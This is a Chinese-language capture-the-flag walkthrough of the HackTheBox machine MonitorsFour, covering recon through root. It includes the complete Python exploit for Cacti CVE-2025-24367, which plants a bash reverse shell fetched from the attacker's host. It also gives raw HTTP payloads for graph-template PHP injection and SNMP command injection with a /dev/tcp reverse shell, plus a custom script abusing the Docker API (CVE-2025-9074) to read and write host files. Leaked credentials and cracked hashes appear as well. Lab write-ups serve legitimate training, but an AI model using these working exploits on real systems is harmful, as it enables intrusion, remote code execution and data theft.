连接至HTB服务器并启动靶机
靶机IP:10.10.11.98
分配IP:10.10.16.11
目录
尝试使用evil-winrm登录monitorsdbuser账户
信息收集
使用rustscan对靶机TCP端口进行开放扫描
bash
rustscan -a 10.10.11.98 -t 5000 --ulimit 5000

使用nmap对靶机TCP开放端口进行脚本、版本扫描
bash
nmap -sS -Pn -sCV -p80,5985 10.10.11.98

使用curl访问靶机80端口
bash
curl -I http://10.10.11.98:80
┌──(root㉿x0da6h)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.98:80
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Mon, 29 Dec 2025 06:11:57 GMT
Content-Type: text/html
Content-Length: 138
Connection: keep-alive
Location: http://monitorsfour.htb/
- 提示被重定向至monitorsfour.htb,将靶机IP与该域名进行绑定
bash
echo '10.10.11.98 monitorsfour.htb' >> /etc/hosts
使用浏览器访问该主域名

使用ffuf对该主域名进行路径枚举
bash
ffuf -u http://monitorsfour.htb/FUZZ -w ../dictionary/dicc.txt -fs 146

- 使用curl访问.env文件
bash
curl http://monitorsfour.htb/.env
┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl http://monitorsfour.htb/.env
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
- 获得凭据
账户:monitorsdbuser
密码:f37p2j8f4t0r
使用curl访问/user接口
bash
curl http://monitorsfour.htb/user
┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl http://monitorsfour.htb/user
{"error":"Missing token parameter"}
- 这里接口响应提示缺少token,尝试手动添加这个参数
bash
curl http://monitorsfour.htb/user?token=1
- 这里提示无效的token,说明参数名是对的
┌──(root㉿kali)-[/home/kali/Desktop]
└─# curl http://monitorsfour.htb/user?token=1
{"error":"Invalid or missing token"}
使用ffuf对参数值进行FUZZ
bash
ffuf -u http://monitorsfour.htb/user?token=FUZZ -w dictionary/vars.txt -fs 36

使用curl访问该URL
bash
curl http://monitorsfour.htb/user?token=0
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl http://monitorsfour.htb/user?token=0
{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}
使用jq美化输出
bash
curl http://monitorsfour.htb/user?token=0 | jq

- 使用一些命令对结果进行简单处理
bash
curl -s http://monitorsfour.htb/user?token=0 | jq | grep -E 'username|pass' | cut -d':' -f2 | awk -F'"' '{print $2}' | paste -d ':' - -
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -s http://monitorsfour.htb/user?token=0 | jq | grep -E 'username|pass' | cut -d':' -f2 | awk -F'"' '{print $2}' | paste -d ':' - -
admin:56b32eb43e6f15395f6c46c1c9e1cd36
mwatson:69196959c16b26ef00b77d82cf6eb169
janderson:2a22dcf99190c322d974c8df5ba3256b
dthompson:8d4a7e7fd08555133e056d9aacb1e519
使用hashcat对这些哈希值进行爆破
bash
hashcat -m 0 -a 0 creds.txt ../dictionary/rockyou.txt --username

- 获得凭据
账户:admin
密码:wonderful1
使用ffuf对该域名进行子域名枚举
bash
ffuf -u http://monitorsfour.htb/ -H 'Host: FUZZ.monitorsfour.htb' -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -fs 138

- 将靶机IP与该子域名进行绑定
bash
echo '10.10.11.98 cacti.monitorsfour.htb' >> /etc/hosts
使用浏览器访问该子域名

由页面可见该WebAPP为:Cacti 1.2.28
边界突破
使用admin账户登陆主域名

- 成功登入

该WebAPP内无可用功能点与信息
尝试使用evil-winrm登录monitorsdbuser账户
bash
evil-winrm -i 10.10.11.98 -u 'monitorsdbuser' -p 'f37p2j8f4t0r'
- 无法正常连接

对子域名WebAPP进行CVE漏洞查询

- 根据描述,CVE-2025-24367影响1.2.29下的版本,但是需要一个合法账号

- 在Github上也能找到相关的POC

查看官方安全修复
漏洞详情:https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq

POST http://192.168.178.78/cacti/graph_templates.php?header=false HTTP/1.1
host: 192.168.178.78
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
content-length: 804
Origin: http://192.168.178.78
Connection: keep-alive
Cookie: CactiDateTime=Fri Jan 03 2025 14:03:51 GMT+0000 (Greenwich Mean Time); CactiTimeZone=0; Cacti=r378gdiav394djct96o26mliud; cacti_remembers=1%2C0%2C1ac46cea6e1f0225f6e52320b4d734503fac5215a76879b3cb2c939d5cc56c49
Priority: u=0
__csrf_magic=sid%3A3363ef9d47d62372302b4941b790e92f5f749d9c%2C1735913031&name=PING+-+Advanced+Ping&graph_template_id=297&graph_template_graph_id=297&save_component_template=1&title=%7Chost_description%7C+-+Advanced+Ping&vertical_label=milliseconds&image_format_id=3&height=200&width=700&base_value=1000&slope_mode=on&auto_scale_opts=1&upper_limit=10&lower_limit=0&unit_value=&unit_exponent_value=1&unit_length=&right_axis=&right_axis_label=XXX%0Acreate+my.rrd+--step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+xxx2.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A&right_axis_format=0&right_axis_formatter=0&left_axis_formatter=0&tab_width=30&legend_position=0&legend_direction=0&rrdtool_version=1.7.2&action=save
- 我注意到一个SNMP命令注入导致的RCE也很有意思,但是该漏洞依赖于系统内使用SNMP工具是否以shell方式执行且,该靶场不一定适用因此略过


POST /cacti/host.php?header=false HTTP/1.1
Host: localhost
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate, br
__csrf_magic=sid%3A3a2d0b3cddfb5912184b4b5130bb698650fc35d2%2C1764272981&description=aaa&hostname=127.0.0.1&location=&poller_id=1&site_id=1&host_template_id=0&device_threads=1&snmp_version=2&snmp_community=public%0abash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f127.0.0.1%2f4444%200%3e%261'%0a%23&snmp_security_level=authPriv&snmp_auth_protocol=MD5&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_priv_protocol=DES&snmp_priv_passphrase=&snmp_priv_passphrase_confirm=&snmp_context=&snmp_engine_id=&snmp_port=161&snmp_timeout=500&max_oids=10&bulk_walk_size=0&availability_method=2&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1¬es=&external_id=&id=3&save_component_host=1&graph_template_id=297&snmp_query_id=2&reindex_method=1&action=save
使用BurpSuite结合获取到的密码进行密码喷洒
账户:marcus
密码1:wonderful1
密码2:f37p2j8f4t0r
- 构造请求包进行爆破
POST /cacti/index.php HTTP/1.1
Host: cacti.monitorsfour.htb
Content-Length: 127
Cache-Control: max-age=0
Origin: http://cacti.monitorsfour.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cacti.monitorsfour.htb/cacti/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: CactiTimeZone=480; Cacti=ed925274b5cade860c3e8143755d5854; CactiDateTime=Wed Dec 31 2025 16:48:18 GMT+0800
Connection: keep-alive
__csrf_magic=sid%3Ac172317a74e4f538a6dc508ab5a51dac98310131%2C1767169083&action=login&login_username=admin&login_password=wonderful1

- 获得凭据
账户:marcus
密码:wonderful1
- 利用该凭据成功登入cacti

使用github上公开的POC直接进行RCE
python
###########################################################
# #
# CVE-2025-24367 - Cacti Authenticated Graph Template RCE #
# Created by TheCyberGeek @ HackTheBox #
# For educational purposes only #
# #
###########################################################
import argparse
import requests
import sys
import re
import time
import random
import string
import http.server
import os
import socketserver
import threading
from pathlib import Path
from urllib.parse import quote_plus
from bs4 import BeautifulSoup
SESSION = requests.Session()
"""
Custom HTTP logging class
"""
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def log_message(self, format, *args):
if args[1] == '200':
print(f"[+] Got payload: {self.path}")
else:
pass
"""
Web server class with start and stop functionalities in working directory
"""
class BackgroundHTTPServer:
def __init__(self, directory, port=80):
self.directory = directory
self.port = port
self.httpd = None
self.server_thread = None
def start(self):
os.chdir(self.directory)
handler = CustomHTTPRequestHandler
self.httpd = socketserver.TCPServer(("", self.port), handler)
self.server_thread = threading.Thread(target=self.httpd.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
print(f"[+] Serving HTTP on port {self.port}")
def stop(self):
if self.httpd:
self.httpd.shutdown()
self.httpd.server_close()
self.server_thread.join()
print(f"[+] Stopped HTTP server on port {self.port}")
"""
Check if instance is Cacti
"""
def check_cacti(url: str) -> None:
req = requests.get(url)
if "Cacti" in req.text:
print("[+] Cacti Instance Found!")
else:
print("[!] No Cacti Instance was found, exiting...")
exit(1)
"""
Log into the Cacti instance
"""
def login(url: str, username: str, password: str, ip: str, port: int, proxy: dict | None) -> None:
res = SESSION.get(url, proxies=proxy)
match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', res.text)
csrf_magic_token = match.group(1)
data = {
'__csrf_magic': csrf_magic_token,
'action': 'login',
'login_username': username,
'login_password': password
}
req = SESSION.post(url + '/cacti/index.php', data=data, proxies=proxy)
if 'You are now logged into' in req.text:
print('[+] Login Successful!')
return True
else:
print('[!] Login Failed :(')
http_server.stop()
exit(1)
"""
Write bash payload
"""
def write_payload(ip: str, port: int) -> None:
with open("bash", "w") as f:
f.write(f"#!/bin/bash\nbash -i >& /dev/tcp/{ip}/{port} 0>&1")
f.close()
"""
Get the template ID required for exploitation (Unix - Logged In Users)
"""
def get_template_id(url: str, proxy: dict | None) -> int:
graph_template_search = SESSION.get(url + '/cacti/graph_templates.php?filter=Unix - Logged in Users&rows=-1&has_graphs=false', proxies=proxy)
soup = BeautifulSoup(graph_template_search.text, "html.parser")
elem = soup.find("input", id=re.compile(r"chk_\d+"))
if elem:
template_id = int(elem["id"].split("_")[1])
print(f"[+] Got graph ID: {template_id}")
else:
print("[!] Failed to get template ID")
http_server.stop()
exit(1)
return template_id
"""
Trigger the payload in multiple requests
"""
def trigger_payload(url: str, ip: str, stage: str, template_id: int, proxy: dict | None) -> None:
# Edit graph template
graph_template_page = SESSION.get(url + f'/cacti/graph_templates.php?action=template_edit&id={template_id}', proxies=proxy)
match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', graph_template_page.text)
csrf_magic_token = match.group(1)
# Generate random filename
get_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php"
trigger_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php"
# Change payload based on stage
if stage == "write payload":
print(f"[i] Created PHP filename: {get_payload_filename}")
right_axis_label = (
f"XXX\n"
f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 "
f"RRA:AVERAGE:0.5:1:1200\n"
f"graph {get_payload_filename} -s now -a CSV "
f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`curl\\x20{ip}/bash\\x20-o\\x20bash`;?>\n"
)
else:
print(f"[i] Created PHP filename: {trigger_payload_filename}")
right_axis_label = (
f"XXX\n"
f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 "
f"RRA:AVERAGE:0.5:1:1200\n"
f"graph {trigger_payload_filename} -s now -a CSV "
f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`bash\\x20bash`;?>\n"
)
data = {
"__csrf_magic": csrf_magic_token,
"name": "Unix - Logged in Users",
"graph_template_id": template_id,
"graph_template_graph_id": template_id,
"save_component_template": "1",
"title": "|host_description| - Logged in Users",
"vertical_label": "percent",
"image_format_id": "3",
"height": "200",
"width": "700",
"base_value": "1000",
"slope_mode": "on",
"auto_scale": "on",
"auto_scale_opts": "2",
"auto_scale_rigid": "on",
"upper_limit": "100",
"lower_limit": "0",
"unit_value": "",
"unit_exponent_value": "",
"unit_length": "",
"right_axis": "",
"right_axis_label": right_axis_label,
"right_axis_format": "0",
"right_axis_formatter": "0",
"left_axis_formatter": "0",
"auto_padding": "on",
"tab_width": "30",
"legend_position": "0",
"legend_direction": "0",
"rrdtool_version": "1.7.2",
"action": "save"
}
# Update the template
get_file = SESSION.post(url + '/cacti/graph_templates.php?header=false', data=data, allow_redirects=True, proxies=proxy)
# Trigger execution
trigger_write = SESSION.get(url + f'/cacti/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700')
# Get payloads
try:
if stage == "write payload":
res = SESSION.get(url + f'/cacti/{get_payload_filename}')
else:
res = SESSION.get(url + f'/cacti/{trigger_payload_filename}', timeout=2)
except requests.Timeout:
print("[+] Hit timeout, looks good for shell, check your listener!")
return
if "File not found" in res.text:
print("[!] Exploit failed to execute!")
http_server.stop()
exit(1)
"""
Main function to parse args and trigger execution
"""
if __name__ == '__main__':
parser = argparse.ArgumentParser(prog='CVE-2025-24367 - Cacti Authenticated Graph Template RCE')
parser.add_argument('-u', '--user', type=str, required=True, help='Username for login')
parser.add_argument('-p', '--password', type=str, required=True, help='Password for login')
parser.add_argument('-i', '--ip', type=str, required=True, help='IP address for reverse shell')
parser.add_argument('-l', '--port', type=str, required=True, help='Port number for reverse shell')
parser.add_argument('-url', '--url', type=str, required=True, help='Base URL of the application')
parser.add_argument('--proxy', action='store_true', help='Enable proxy usage (default: http://127.0.0.1:8080)')
args = parser.parse_args()
proxy = {'http': 'http://127.0.0.1:8080'} if args.proxy else None
check_cacti(args.url)
http_server = BackgroundHTTPServer(os.getcwd(), 80)
http_server.start()
login(args.url, args.user, args.password, args.ip, args.port, proxy)
template_id = get_template_id(args.url, proxy)
write_payload(args.ip, args.port)
trigger_payload(args.url, args.ip, "write payload", template_id, proxy)
trigger_payload(args.url, args.ip, "trigger payload", template_id, proxy)
http_server.stop()
Path("bash").unlink(missing_ok=True)
- 使用nc开始监听
bash
nc -lvnp 1425
- 利用POC脚本
bash
python exp.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.16.7 -l 1425
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python exp.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.16.7 -l 1425
+\] Cacti Instance Found! \[+\] Serving HTTP on port 80 \[+\] Login Successful! \[+\] Got graph ID: 226 \[i\] Created PHP filename: aM2bx.php \[+\] Got payload: /bash \[i\] Created PHP filename: INFJ0.php \[+\] Hit timeout, looks good for shell, check your listener! \[+\] Stopped HTTP server on port 80
- 成功收到反弹shell

- 在/home/marcus目录下找到user.txxt
www-data@821fbd6a43fa:/home/marcus$ pwd
pwd
/home/marcus
www-data@821fbd6a43fa:/home/marcus$ ls -a
ls -a
. .. .bash_logout .bashrc .profile user.txt
www-data@821fbd6a43fa:/home/marcus$ cat user.txt
cat user.txt
a3f808d5cdad8e1189a8b8f487fd6479
容器逃逸(文件读写)
查看系统信息
通过系统及环境信息判断是否在虚拟机或容器中
查看磁盘信息
bash
df -h
www-data@821fbd6a43fa:/home/marcus$ df -h
df -h
Filesystem Size Used Avail Use% Mounted on
overlay 1007G 9.5G 947G 1% /
tmpfs 64M 0 64M 0% /dev
shm 64M 0 64M 0% /dev/shm
/dev/sde 1007G 9.5G 947G 1% /etc/hosts
tmpfs 952M 0 952M 0% /proc/acpi
tmpfs 952M 0 952M 0% /proc/scsi
tmpfs 952M 0 952M 0% /sys/firmware
- 由输出可见,根目录文件系统名称为overlay,这是docker标准挂载特征
查看环境信息
bash
env
www-data@821fbd6a43fa:/home/marcus$ env
env
HOSTNAME=821fbd6a43fa
PHP_VERSION=8.3.27
PHP_INI_DIR=/usr/local/etc/php
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_LDFLAGS=-Wl,-O1 -pie
PWD=/home/marcus
HOME=/var/www
PHP_SHA256=c15a09a9d199437144ecfef7d712ec4ca5c6820cf34acc24cc8489dd0cee41ba
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PHP_URL=https://www.php.net/distributions/php-8.3.27.tar.xz
USER=www-data
SHLVL=4
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.27.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
_=/usr/bin/env
OLDPWD=/home
- 由输出可见,主机名是一个12位的十六进制字符串,而且有大量PHP_XXX环境变量,这都很可能是PHP Docker镜像在构建时自动注入的环境变量
查看根目录下所有文件
bash
ls -al /
www-data@821fbd6a43fa:/home/marcus$ ls -al /
ls -al /
total 1304
drwxr-xr-x 1 root root 4096 Jan 4 05:21 .
drwxr-xr-x 1 root root 4096 Jan 4 05:21 ..
-rwxr-xr-x 1 root root 0 Nov 10 17:04 .dockerenv
lrwxrwxrwx 1 root root 7 Aug 24 16:20 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Aug 24 16:20 boot
drwxr-xr-x 5 root root 340 Jan 4 04:12 dev
drwxr-xr-x 1 root root 4096 Nov 10 17:04 etc
drwxr-xr-x 1 root root 4096 Nov 10 16:15 home
lrwxrwxrwx 1 root root 7 Aug 24 16:20 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Aug 24 16:20 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Nov 3 20:44 media
drwxr-xr-x 2 root root 4096 Nov 3 20:44 mnt
drwxr-xr-x 2 root root 4096 Nov 3 20:44 opt
dr-xr-xr-x 193 root root 0 Jan 4 04:12 proc
drwx------ 2 root root 4096 Nov 3 20:44 root
drwxr-xr-x 1 root root 4096 Nov 10 17:05 run
lrwxrwxrwx 1 root root 8 Aug 24 16:20 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Nov 3 20:44 srv
-rwxr-xr-x 1 root root 113 Sep 13 06:13 start.sh
dr-xr-xr-x 13 root root 0 Jan 4 05:11 sys
drwxrwxrwt 1 root root 1265664 Jan 4 05:03 tmp
drwxr-xr-x 1 root root 4096 Nov 3 20:44 usr
drwxr-xr-x 1 root root 4096 Nov 4 04:06 var
- 由输出可见,根目录下存在.dockerenv文件。基于以上三点基本可以确定我们正在一个基于docker的PHP镜像中
通过WebAPP更新日志获取docker版本号

版本:Docker Desktop 4.44.2
通过docker版本号检索到CVE-2025-9074

- 通过漏洞描述,在容器内访问192.168.65.7:2375/_ping如果返回OK则可能存在该漏洞

bash
curl 192.168.65.7:2375/_ping; echo
www-data@821fbd6a43fa:/home/marcus$ curl 192.168.65.7:2375/_ping; echo
curl 192.168.65.7:2375/_ping; echo
OK
该漏洞允许读写宿主机文件,手搓一个EXP
bash
set -e
HOST="${CVE_HOST:-192.168.65.7}"
PORT="${CVE_PORT:-2375}"
IMAGE="${CVE_IMAGE:-alpine}"
BASE_URL="http://$HOST:$PORT"
usage() {
echo "Usage:"
echo "bash $0 -read \"C:/path/to/file.txt\""
echo "bash $0 -write \"<content>\" \"C:/path/to/file.txt\""
echo ""
exit 1
}
if [ "$#" -lt 2 ]; then
usage
fi
ACTION="$1"; shift
if [ "$ACTION" = "-write" ]; then
if [ "$#" -ne 2 ]; then
echo "[!] Error: -write requires exactly 2 arguments." >&2
usage
fi
CONTENT="$1"
WIN_PATH="$2"
elif [ "$ACTION" = "-read" ]; then
if [ "$#" -ne 1 ]; then
echo "[!] Error: -read requires exactly 1 argument." >&2
usage
fi
CONTENT=""
WIN_PATH="$1"
else
echo "[!] Unknown action: $ACTION" >&2
usage
fi
convert_path() {
printf '%s\n' "$1" | sed -E 's@^([A-Za-z]):[/\\]@/mnt/host/\L\1/@' | tr '\\' '/'
}
HOST_LINUX_PATH=$(convert_path "$WIN_PATH")
MOUNT_PATH="/host_root"
FILE_BASENAME=$(basename "$HOST_LINUX_PATH")
HOST_DIR=$(dirname "$HOST_LINUX_PATH")
echo "[+] Targeting Docker HTTP API at $BASE_URL"
echo "[+] Windows path: $WIN_PATH"
echo "[+] Mapped to: $HOST_LINUX_PATH"
api() {
curl -s -X "$1" "$BASE_URL$2" --connect-timeout 8 "${@:3}"
}
echo -n "[*] Checking /_ping... "
ping_resp=$(api GET "/_ping")
if [ "$ping_resp" != "OK" ]; then
echo "FAIL (got: $ping_resp)"
exit 2
else
echo "OK"
fi
version_resp=$(api GET "/version")
ver=$(echo "$version_resp" | sed -n 's/.*"Version":"\([^"]*\)".*/\1/p')
os=$(echo "$version_resp" | sed -n 's/.*"Os":"\([^"]*\)".*/\1/p')
platform=$(echo "$version_resp" | sed -n 's/.*"Name":"\([^"]*\)".*/\1/p')
echo "[+] Docker Engine: ${ver:-?} (${os:-?} ${platform:-?})"
if [ "$ACTION" = "-write" ]; then
# Use printf %s to avoid trailing newline; wrap content in single quotes
CMD="printf '%s' '$CONTENT' > '$MOUNT_PATH/$FILE_BASENAME'"
elif [ "$ACTION" = "-read" ]; then
CMD="cat '$MOUNT_PATH/$FILE_BASENAME'"
fi
PAYLOAD=$(cat <<EOF
{
"Image": "$IMAGE",
"Cmd": ["sh", "-c", "$CMD"],
"HostConfig": {
"Binds": ["$HOST_DIR:$MOUNT_PATH"]
}
}
EOF
)
echo "[*] Creating container..."
CREATE_RESP=$(api POST "/containers/create" -H "Content-Type: application/json" -d "$PAYLOAD")
CID=$(echo "$CREATE_RESP" | sed -n 's/.*"Id":"\([a-f0-9]*\)".*/\1/p')
if [ -z "$CID" ]; then
echo "[!] Failed to create container. Response: $CREATE_RESP" >&2
exit 3
fi
SHORT_CID=$(echo "$CID" | cut -c1-12)
echo "[+] Created container: $SHORT_CID"
echo "[*] Starting container..."
api POST "/containers/$CID/start" -d "" >/dev/null
if [ "$ACTION" = "-read" ]; then
sleep 1
LOGS=$(api GET "/containers/$CID/logs?stdout=1&stderr=1")
printf "%s" "$LOGS"
echo "" # final newline
fi
echo "[*] Removing container..."
api DELETE "/containers/$CID?force=1" >/dev/null 2>&1
if [ "$ACTION" = "-write" ]; then
echo "[+] Successfully wrote to: $WIN_PATH"
fi
- 亲测非常好用

- 使用EXP直接读取root.txt文件即可
bash
bash ./POC-for-CVE-2025-9074.sh -read "C:/Users/Administrator/Desktop/root.txt"
